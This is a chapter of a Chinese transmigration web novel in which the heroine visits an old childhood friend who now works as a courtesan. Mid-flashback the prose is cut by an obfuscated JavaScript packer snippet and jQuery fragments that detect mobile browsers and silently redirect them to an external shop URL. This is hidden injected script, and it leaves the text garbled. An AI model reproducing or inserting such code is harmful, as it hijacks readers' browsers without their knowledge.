27.春风阁

作品:《拯救悲惨女配计划[快穿]

    春风阁位于盛陵商业最繁华的地段,整条街大多是茶楼,酒楼,各类吃食和布匹铺子等等,当然也有首饰和胭脂水粉铺子,只不过涉及女子的东西都是专供春风阁姑娘们的。


    真正的大家闺秀绝不会来这里采买,她们连踏进这条街都嫌脏。


    因而当陈蕴大摇大摆毫无遮掩,甚至连马车都没坐地走进这条街,还直奔春风阁时,路人便频频侧目。


    她来前换了身衣服,上身朱红色交领短袄配比甲,下穿织金马面裙,满头珠翠,总之怎么招摇怎么来。往春风阁门口一站,正在迎客的老鸨便愣了。


    王妈妈第一反应是这又是谁家的悍妇来捉奸了吧?这些男人也真是,寻花问柳前好歹把自己家里安顿好了呀,净给自己添麻烦。


    随即笑盈盈地上前客气道:“这位贵人请问您找哪位?”


    陈蕴坦然:“找你们家云岫姑娘。”


    王妈妈就迷惑了,下意识道:“云岫这会儿没接客啊……”


    陈蕴:“?”


    “我不是客吗?”


    王妈妈:“……”


    她尬笑了两声:“贵人您说笑了,这不是您该来的地方,还是劳您回府吧。”


    “琥珀。”陈蕴喊了声。


    “哎。”琥珀清脆应声,干脆利落地从荷包里掏出一锭银子扔王妈妈手里。


    王妈妈顿时喜笑颜开,心想管她来干什么的,谁给她银子谁就是祖宗。只不过……


    王妈妈犹豫道:“贵人,云岫近些日子不小心伤了脸,不怎么见客了,您就算只想听个曲儿品个茶的,她那脸看着也伤眼不是,要不换一位?”


    陈蕴心头一紧,这个时候沈青樾的脸已经伤了?


    她皱着眉道:“不要紧,我就要云岫。”


    “得嘞,听您的。”王妈妈道,“我带您去楼上稍坐片刻,云岫随后就到。”


    陈蕴颔首,又回头对琥珀道:“你去对面茶楼坐着等我吧,若是有人好奇打听我是谁,你就如实说,大声说,听明白了吗?”


    琥珀:“……”


    她绝望地望了望天,心道老爷和夫人到底是有多么不了解自家小姐,才会放心让她一个人回盛陵?


    *


    陈蕴慢悠悠地喝了半盏茶,才总算听见了敲门声。


    “请进。”陈蕴道。


    木门吱呀一声打开又合上,陈蕴抬眼,便见眼前瘦弱的姑娘,隆冬时节,她只穿着单薄的素纱衣,因抱着琵琶敞口的袖子直滑到臂肘处,露出苍白纤细的小臂。


    她垂着头,下办张脸上蒙着面纱,轻声细语道:“奴家面容有损,恐污了贵客尊眼,还望允许奴家戴着面纱侍奉。”


    陈蕴没仔细听她说什么,只皱着眉想她穿这么少该有多冷。


    “过来坐。”陈蕴道。


    许是听见了女子的声音,沈青樾颇觉意外,猛然抬起头,只见房间内除了自己便只有眼前这位服饰华丽容颜冷艳,看上去还有些面熟的女子。


    她没反应过来这是什么情况,却下意识地听话坐在桌旁。


    然后她的琵琶就被人接了过去,取而代之的是被塞过来的暖手炉,眨眼的功夫那位好看的女子又把炭盆往她脚下推了推。


    “您这是……”沈青樾迟疑道。


    陈蕴在沈青樾面前一步之遥的位置站定,叹了口气道:“青樾姐姐,你不记得我了吗?”


    沈青樾握着暖手炉的手蓦地发紧,她记不清自己有多久没听见“青樾”这个名字了,而会叫自己“青樾姐姐”的女子在她的记忆中只有一个人。


    她不敢置信地仔细打量了一番眼前的女子,确实,对方长大了许多,可眉眼间依然有少年时的几分影子。


    “你是……蕴儿?”沈青樾颤声问。


    陈蕴笑着点了点头:“青樾姐姐,我好想你啊。”


    她伸出手向前探去,岂料沈青樾倏然侧身躲开,她本就只坐了凳子的三分之一,这么一躲更是险些跌倒。


    陈蕴眼疾手快地扶了一把:“青樾姐姐小心。”


    下一刻,沈青樾应激般甩袖挣开,声音尖细刺耳:“别这么叫我。”


    陈蕴顿住。


    沈青樾垂着头不肯看她,自顾自地抱起角落的琵琶,拉开房门,迈出去的前一刻,她背对着陈蕴,用尽可能冷静的语气道:“沈青樾八年前便死了,现在我只是春风阁的云岫姑娘。”


    陈蕴任凭沈青樾离开,没有去拦,因为她后知后觉地意识到了一个问题。


    她将998自袖口中掏出来扔到桌上,骂了句:“你又坑我。”


    998顺势爬到了暖手炉上方,将整个身子贴上去抱着舒服地叹了口气:“哎呀,我也是好心,我怎么知道会这样。”


    陈蕴无奈,998给她的基础身份设定没有问题,郡主的身份确实能让她行事方便许多,可坏就坏在998画蛇添足地加了一段设定——昌乐郡主少年时和沈青樾交好。


    【11年前,年仅11岁的陈蕴被母亲带着去参加沈家嫡长女的及笄礼,她没怎么注意那位端庄贤淑看上去和其他的大家闺秀一个模子刻出来般的沈家最优秀的女儿,反而把目光落在了角落里不起眼的沈青樾身上。


    对方看上去又瘦又小,穿着短了半截儿的衣服,头上一根发钗也无,只用天青色发带高高束起。


    陈蕴乍见之时,还以为那是沈府的丫鬟,可她又偏偏坐在主子的位置上。


    可说她是主子吧,遭受这种很明显的差别对待,她竟一丝怨气也无,混世小魔王陈蕴表示不理解,因此,她对沈青樾产生了好奇,主动凑过去打招呼。


    这一问才知道,原来对方竟比自己还大两岁,陈蕴便开始叫她“青樾姐姐”。


    而对于沈青樾来说,她长到这么大还从未接触过沈家以外的人,也从未有人用这种热络又自来熟的态度同她说话。


    她很意外,但并不反感。


    自那以后,陈蕴便常常往沈府跑,她会在与沈青樾的闺房一墙之隔的窄巷内吹哨子。


    沈青樾听到声音便知是她来了,会跑到偏门处,自陈蕴那里接过冰糖葫芦或者刚出锅的糖炒板栗。


    偶尔陈蕴疯起来还会不管不顾地带着沈青樾翻墙出去。


    她们一起逛过灯会,坐过游船,承诺过要做一辈子的闺中密友。


    可是这段沈青樾人生中最快乐自由的日子,也就只有短暂的一年。


    一年后,北狄在边关屡屡作乱,陈将军奉旨领兵平乱,陈蕴随行,这一走便是十年。


    他们走了没多久先帝便病重,紧接着诸皇子党同伐异,为了避免牵扯进去,陈将军自请永驻边关,只要有他在一日,绝不会让


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176507|194741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    北狄的兵马越过大晟半步。


    十年间,沧海桑田,物是人非。】


    以上为998新加入的剧情,原本想着给陈蕴和沈青樾加一点羁绊,可以方便陈蕴更好地接触对方。


    谁成想适得其反。


    陈蕴叹气,也是她考虑不周,接收998的剧情以及原书剧情的过程是一样的,仅限于用眼睛看,用脑子记,可她毕竟没有亲身经历过。


    那仅仅是“设定”,因而她之前并没有想到沈青樾多年后,在沦落到如此不堪的境地之后,重见故人该是何等心境。


    “现在怎么办啊。”998底气不足地问道。


    陈蕴看了眼紧闭的门窗:“慢慢磨吧。”


    “我常常来,她总不能一直避而不见。”


    *


    “您还要常常去!”


    总算回了郡主府,琥珀侍候陈蕴洗脸时,闻言差点把水盆打翻。


    她掐着自己的人中,碎碎念着:“您知道我今日在茶楼里有多少人在好奇地打探吗?”


    “只怕这会儿工夫,您刚回盛陵就去春风阁的消息已经传遍各府了。”


    陈蕴勾唇一笑:“这不正好?”


    琥珀脸憋得通红,还是不吐不快:“我知道小姐您是不想成亲才糟蹋自己的名声,可是您不知道那些人背地里说的话有多难听。”


    她气得要死,愤愤道:“您在战场杀敌的时候,这些世家公子各府少爷们还不是在什么春风阁秋风楼的逍遥快活。”


    “凭什么他们去就可以,您不过只去了一趟见故友,就成了他们口中的……”


    说到这里她忽然又闭上了嘴。


    “成了什么?”陈蕴逗她。


    “成了‘不知检点’‘不守妇道’‘没有教养’……”


    琥珀嘟囔着将那些话复述了一遍。


    陈蕴讶异:“他们当着你的面说的?”


    “哪能呢。”琥珀不屑道,“他们问我您是谁家夫人,我就按照您的命令实话说您是陈将军之女昌乐郡主,尚未婚配。”


    陈将军十年未回,众人不知道他的战绩,可他国舅爷的身份总是知道的。


    因此并没有人敢当面说些什么,甚至还有人夸了句“昌乐郡主不拘小节”。


    可琥珀就是眼尖地发现他们聚在一处嘀咕些什么,将店小二使唤过来命他悄悄去听了回来告诉她。


    “都是店小二告诉我的。”琥珀心情忿忿,“一群小人,当面说我还敬他们勇气可嘉,只会背后说人坏话的算什么东西。”


    陈蕴完全没往心里去,谁会在意狗在叫什么,只是看这丫头生气的样子觉得好笑。


    琉璃在内间铺好床出来,给琥珀使了个眼色。


    琥珀张了张嘴又闭上了,悻悻地端着水盆出了门。


    琉璃为陈蕴解开束了一天的发,又拿起梳妆匣里的檀木梳,慢慢地梳着,打趣道:“琥珀就是那个性子,郡主您要是不想被念得耳朵起茧子,还是少招她。”


    陈蕴也笑了,琥珀是打小同她一起长大的,没外人在时常同她没大没小,口无遮拦的什么话都敢说。


    相比之下,琉璃这个在边关捡来的孤女一言一行要谨慎得多。


    “明日去春风阁,还是你随我去吧。”陈蕴笑道。


    “是。”琉璃并不多话,只福身道。